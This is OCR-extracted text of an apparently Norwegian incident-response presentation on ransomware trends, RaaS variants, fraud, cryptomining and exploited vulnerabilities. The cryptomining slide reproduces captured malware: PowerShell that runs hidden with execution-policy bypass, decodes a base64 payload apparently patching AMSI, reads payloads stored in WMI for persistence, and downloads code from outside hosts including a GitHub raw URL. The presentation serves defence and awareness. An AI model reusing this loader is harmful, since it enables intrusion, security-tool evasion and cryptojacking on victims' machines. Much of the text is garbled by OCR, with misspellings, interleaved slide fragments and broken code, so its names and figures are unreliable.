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What we do

!

Customer meetings, sharing
experience from the
battlefield

Lead the incident
management process

Detect risks, gaps and
lack of preparing

o=

Collection and analysis of logs
and log data

Tactical and
operational

e

Communication and
interaction
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What we do

C}

Information gathering and
analysing the incident

9

Limit damage and restore to
operational state, limiting
the impact of the incident

Event verification and
determine the consequence
and extent of the incident

Provide a report on the incident
and how it was handled (internal
and/or external use)

@
)

Collection,
management and
handling of evidence

Recommendations to improve
the company’s security and to
protect against future events
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Ransomware

Average Ransomware Increases as Attackers Target Bigger Companies

Average Ransom Payment

$233,817

+31% from Q2 2020
Ransom Payments By Quarter

== Average Ransom Payment == Median Ransom Payment

Median Ransom Payment

$110,532

+2% from Q2 2020
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Timeline

—— ) Mid 2000s - 2010s: Encryption-focused

2006 ronsomwasare

Archiveus and GPcode
Ransomware

> 4 .

2009

Scareware used to distribute

Late 2010s: Ransomware 3s a service

Sudden exponential increase in
Ransomware Samples

2014-15

Chimera and Cruptowall V1-4

2016

Ransomware as a Service
becomes more mainstream

2017

Wannacry

JAN 2020

Sadinokibi infects Travelex

Maze Ronsomware picks up
activity

Snake ransomware suspected
to have infected Honda

https://www.immersivelabs.com/resources/blog/the-evolution-of-ransomware/
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2020s: Extortion-focused era

Total Ransomware
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Source: McAfee Threats Report: August 2015
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Timeline

.. O Mid 2000s — 2010s: Encryption-focused

008 rensomwsare
Late 2010s: Ransomuware 3s 3 service
T e
7\ TIER 3: Emerging RaaS Crews
Chimera and Cruptowall Vi-4 ]
><\ ~ Wecan verify that the following variants have been created and are being sold on a RaaS model, but at the
[ 201€ i present time, there is limited to no information on successful attacks, volume of attacks, payments received
s more mainstream or cost of mitigation.
2017 2,
wemnady Name Date Discovered Notable Incidents Markets Sold Blog
P AN 2030 CVartek.u45 March 2020 None Torum No
Sodinokibi infects Travelex Exorcist July 2020 None XSS No
Gothmog July 2020 None Exploit No
Mk B s v Dickis e Lolkek July 2020 None XSS No
e Muchlove April 2020 None XSS No
(&) s Nemty February 2020 1 XSS Yes
S’ to have infected Honda Rush July 2020 None XSS No
Wally February 2020 None Nulled No
XINOF July 2020 None Private Telegram channel| No
Zeoticus 1.0 Dec. 2019, 2.0 Sept 2020 None XSS/Private channels | No

https://www.immersivelabs.com/resources/blog/the-evolution-o

Source: McAfee Threats Report: August 2015
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Timeline

1989

Dr Popps AIDS Trojan —— Ioc Used

Scareware used to distribute
Ransomware

"vice

2014-15
Chimera and Cryptowall Vi-4
1 being sold on a RaaS model, but at the
ks, volume of attacks, payments received

2017

wannacry Markets Sold B!og
Torum No

XSS No

Exploit No

Maze Ronscmwore picks up XSS No
e XSS No
() XSS Yes

\:/ XSS No

Nulled No

te Telegram channel| No

Zeoticus 1.0 Dec. 2019, 2.0 Sept 2020 None XSS/Private channels | No

https://www.immersivelabs.com/resources/blog/the-evolution-o

Source: McAfee Threats Report: August 2015
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Ransomware Attack Vectors

100.0% RDP Compromise
Email Phishing
Software Vulnerability
Other
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Attack Vector by Company Size
== RDP Compromise == Email Phishing == Software Vulnerability == Other
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Half of the Ransomware Cases use Data Exfiltration as a Tactic - Exfiltrated Data
Cases Doubled in Q3 2020
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Downtime from a Ransomware Attack is still the most Dangerous Complication

Multinational energy company Enel Group has been hit by a ransomware attack for the second time this
yvear. This time by Netwalker, who is asking a $14 million ransom for the decryption key and to not

release several terabytes of stolen data.

Sensitivity: Internal



RANSOMWARE

How To Factory Reset
Your Synology Nas

« Don’tletthem in ©
e Good detection!

« Maintain control of backup. Admin should not be able to delete the backups.
 Audit file access.

* Prepare for disaster. Know what to prioritize!
» Lots of Goverment/Municpality hit by Ransomware — Norway next?
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Scam/Fraud

ATCR



Businesses are vulnerable even if everything is done technically correct.

If your subcontractor is compromised, who has financial loss?

Too high trust in email as a source. It is recommended that account
changes be verified through multiple channels.

(Almost) impossible to prevent through anti-spam solutions.

Of all forms of attach, the biggest financial loss is from supply chain fraud.
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Detection / Visability

Switches
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Cryptomining

& Taxk Manager
File Optiors Virw
Srocesses Frriormance App hstory Qartup Users Detals Seewoes

<PU
| 100w 320GHz CPU Inte}{R) Core{TM] iS-3570K CPU & 3..

] Memory
22/40GB 35w

100%0 o oo

CPU USAGE [

$domain =[System.DirectoryvServices ActiveDirectory.Domainl:GetCurrentDomainQ

Sdes =$Demain.RemainCentrellers
$nic =%$null
foreach ($dc in $das){
$a = [System.Net.Dnsl:GetHostAddresses($dc.name) |Where-Object {$__AddressFamily -eq
‘InterNetwork’}
foreach (S5ob in $a){
$ser= Soh.PAddressTostring
Sbhban=((New-Object DNet.WebClient). DownloadsString("http//"+$ser+":49636/banner”))
if($ban -ne $Snul{
Snic="http://"+$ser+":49636"
break

C:\Windows\System32\WindowsPcowerShell\v1.0\powershell.exe" -NoP -Nonl -W Hidden -exec
bypass

“$fun="JFdpbjMylD0gQCINCnVzaW5nIFN5c3RIbTsNCnVzaW5nIFN5c3RIbS55dW50aW 11LkludGVyb3B
TZXJ2aWNIczsNCnB1YmxpYyBjbGFzcyBXaW4zMiB7DQoglCAgWORsbEItcG9ydCgia2VybmVsMzliKV0
NCiAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgR2VOUHVYOFKZH)Ic3MoSWS0UHRYIGhNb2
R1bGUsIHNOcmIuZyBwcm9jTmFtZSk7DQoglCAgWORsbEIcGIydCgia2VybmVsMzIiKVONCIAgICBwdW
J1saWMgc3RhdGljIGV4AdGVybiBJbnRQAHIgTGIhZExpYnJhcnkoc3RyaWSnlG5hbWUpOwOKICAgIFtEbGx
JbXBvenQolmtlemSIbDMylildDQoglCAgcHVIbGIIHNOYXRpYyBleHRIcm4gYm9vbCBWaXJ0dWFsUHIv
dGVjdChJbnRQdHIgbHBBZGRyZXNzLCBVSWS0UHRyYIGR3U216ZSwgdWIudCBmbESId1Byb3RIY3QsIG
91dCB1aWS50IGxwZmxPbGRQcmI0ZWNOIKTsNCnONCIJADQoNCkFkZC1UeXBIICRXaW4zMgOKDQokT
G9hZExpYnJhcnkgPSBbV2IuMz)dOjpMb2FkTGlicm FyeSgiYSIrimOilCsgInNpLilrimRsbClpDQokQWRkc
mVzcyA9IFtXaWazMI060kdIdFByb2NBZGRyZXNzKCRMb2FkTGlicmFyeSwglkFtlisic2kilCsglINj YW4ilCs
glkJ1ZmZIcilpDQokcCASIDANCItXaW4zMIOE0IZpcnR1YWxQecm90ZWNOKCRBZGRYZXNzLCBbdWlud
DMyXTUsIDB4NDAsIFtyZWZdJHApDQokUGFOY2ggPSBbQnl0ZVtdXSAoMHhCOCwgMHg 1NywgMHg
wMCwgMHgwNywgMHg4MCwgMHhDMykNCItTeXNOZW0uUnVudGItZS5)bnRicmSwU2VydmijZXMu
TWFyc2hhbF060OkNveHkoJFBhdGNoLCAWLCAKQWRkemVzeywgNik=";Sdefun=
[System.Text.Encoding]::ASCIL.GetString([System.Convert]::FromBase64String($fun))iex $defun;$mon
= ([WmiClass] ‘root\default:systemcore_Updater7').Properties'mon’].Valua:$funs = ((WmiClass)
‘rogt\default:systemcore_Updater7’).Properties['funs'l.Value ;jgx
([System.Text.Encoding]::ASCIl.GetString([System.Convert]::FromBase64String($funs))):invoke-

Command -ScriptBlock SRemoteScriptBlock -Argumentlist @(Smon, Smon, 'Veid', 0, ", )" A C R
I -

}
}
if($nic ~eq $null){
Snic="http://<FJERNET >.net"”
$ban=({(New-Object NetWebClient).DownleadString("$nic/banner™))
if ($ban -eq $Snull)
{
$bn = (New-Object
NetWebClient). DownloadString(“https://raw.githubusercontent.com/giy4tt/up/master/domtar™)
if (Sbn -ne Snulb){
Snic = $bn
}
}




Vulnerabilities

Microsoft Exchange Servers Still Open to
Actively Exploited Flaw

Despite Microsoft issuing patches almost eight months ago, 61 percent
of Exchange servers are still vulnerable.

Critical Vulnerabilities in Palo Alto
Networks PAN-OS devices

Active Exploitation of Citrix NetScaler
(CVE-2019-19781): What You Need to
Know

Microsoft says it detected active attacks
leveraging Zerologon vulnerability

Zerologeon patching window is slowly closing as Microsoft warns of attacks in the wild.

CVE-2019-0604: Critical Microsoft
SharePoint Remote Code Execution
Flaw Actively Exploited
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